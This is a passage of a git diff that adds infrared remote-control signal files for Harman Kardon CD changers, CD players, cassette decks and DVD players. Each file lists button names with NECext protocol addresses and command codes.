00 +# +name: 9 +type: parsed +protocol: NECext +address: 84 74 00 00 +command: E9 00 00 00 +# +name: TR_STOP +type: parsed +protocol: NECext +address: 84 74 00 00 +command: EA 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 84 74 00 00 +command: EE 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 84 74 00 00 +command: F1 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 84 74 00 00 +command: F2 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: 84 74 00 00 +command: F3 00 00 00 +# +name: PIP_AUDIO_MONITOR +type: parsed +protocol: NECext +address: 84 74 00 00 +command: F4 00 00 00 +# +name: FIND +type: parsed +protocol: NECext +address: 84 74 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir new file mode 100644 index 000000000..8779c6d28 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 01 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 02 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 03 00 00 00 +# +name: <> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 06 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0A 00 00 00 +# +name: INTRO_SCAN +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0D 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0E 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 19 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 1C 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 40 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 4D 00 00 00 +# +name: SKIP_UP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 50 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 51 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 52 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 53 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 54 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 55 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 56 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 57 00 00 00 +# +name: SKIP_DN +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir new file mode 100644 index 000000000..492df9cfd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY/PAUSE_> +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: STOP/CLEAR_[] +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir new file mode 100644 index 000000000..c830ee9a9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir @@ -0,0 +1,590 @@ +Filetype: IR signals file +Version: 1 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 00 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 00 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 01 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 01 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 02 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 02 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 02 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 03 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 03 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 04 00 00 00 +# +name: >>I +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 04 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 04 00 00 00 +# +name: SKIP_FWD_>> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 04 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 05 00 00 00 +# +name: I<< +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 05 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 05 00 00 00 +# +name: SKIP_REV_<< +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 05 00 00 00 +# +name: <> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 06 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 06 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 06 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 06 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 06 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 07 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 07 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 07 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 07 00 00 00 +# +name: INDEX_-> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 08 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 08 00 00 00 +# +name: INDEX_<- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 09 00 00 00 +# +name: 10- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 09 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0A 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0A 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0B 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0B 00 00 00 +# +name: SPACE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0C 00 00 00 +# +name: INTRO_SCAN +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0D 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0D 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0E 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0E 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0F 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0F 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 10 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 11 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 12 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 13 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 14 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 15 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 16 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 17 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 18 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 19 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 19 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 1A 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 1A 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 1A 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 1B 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 1B 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 1C 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 1C 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 1D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 1D 00 00 00 +# +name: OUTPUT_^ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 1E 00 00 00 +# +name: FOLDER+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 1E 00 00 00 +# +name: OUTPUT_V +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 1F 00 00 00 +# +name: FOLDER- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 1F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 40 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 40 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 4D 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 4D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 4D 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 4D 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 50 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 50 00 00 00 +# +name: SKIP_UP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 50 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 51 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 52 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 53 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 54 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 55 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 56 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 56 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 57 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 57 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 58 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 59 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 5B 00 00 00 +# +name: SKIP_DN +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 5B 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir new file mode 100644 index 000000000..85a113cec --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 00 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 00 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 01 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 01 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 03 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 03 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 04 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 04 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 05 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 05 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 07 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 07 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 0A 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 0A 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 0B 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 0B 00 00 00 +# +name: REPEAT_1/ALL +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 0C 00 00 00 +# +name: 1/ALL +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 0C 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 0D 00 00 00 +# +name: A<->B +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 0D 00 00 00 +# +name: EDIT +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 0E 00 00 00 +# +name: EDIT +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 0E 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 0F 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 0F 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 10 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 10 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 11 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 11 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 12 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 12 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 13 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 13 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 14 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 14 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 15 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 15 00 00 00 +# +name: PROG/REV +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 16 00 00 00 +# +name: PROG/REV +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 16 00 00 00 +# +name: TAPE_SIZE +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 17 00 00 00 +# +name: TAPE_SIZE +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 17 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 18 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 18 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 19 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 19 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 1A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 1A 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 1B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 1B 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 1C 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 1C 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 1D 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 1D 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 1E 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 1E 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 1F 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir new file mode 100644 index 000000000..7d730fede --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 21 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 22 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 23 00 00 00 +# +name: TRACKING_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 24 00 00 00 +# +name: TRACKING_- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 25 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir new file mode 100644 index 000000000..2eafa340f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 01 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 03 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 04 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 05 00 00 00 +# +name: REC/PAUSE_O/ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 06 00 00 00 +# +name: REC_MUTE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 07 00 00 00 +# +name: SKIP_FWD_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 08 00 00 00 +# +name: SKIP_REV_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 09 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 0A 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 0E 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 1B 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 1C 00 00 00 +# +name: MONITOR +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 1E 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir new file mode 100644 index 000000000..9189d1c83 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir @@ -0,0 +1,728 @@ +Filetype: IR signals file +Version: 1 +# +name: EJECT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 20 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 20 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 20 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 21 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 21 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 21 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 22 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 22 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 23 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 23 00 00 00 +# +name: SET-UP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 24 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 24 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 24 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 25 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 26 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 26 00 00 00 +# +name: PIL_UPP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 26 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 26 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 27 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 27 00 00 00 +# +name: PIL_NER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 27 00 00 00 +# +name: CURSOR_DOWN' +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 27 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 28 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 28 00 00 00 +# +name: NSTER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 28 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 28 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 29 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 29 00 00 00 +# +name: GER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 29 00 00 00 +# +name: RIGH +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 29 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2A 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2A 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2A 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2B 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2C 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2D 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2E 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2E 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2E 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2E 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2E 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2E 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2E 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2F 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2F 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2F 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2F 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2F 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2F 00 00 00 +# +name: FAST_FOWARD +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2F 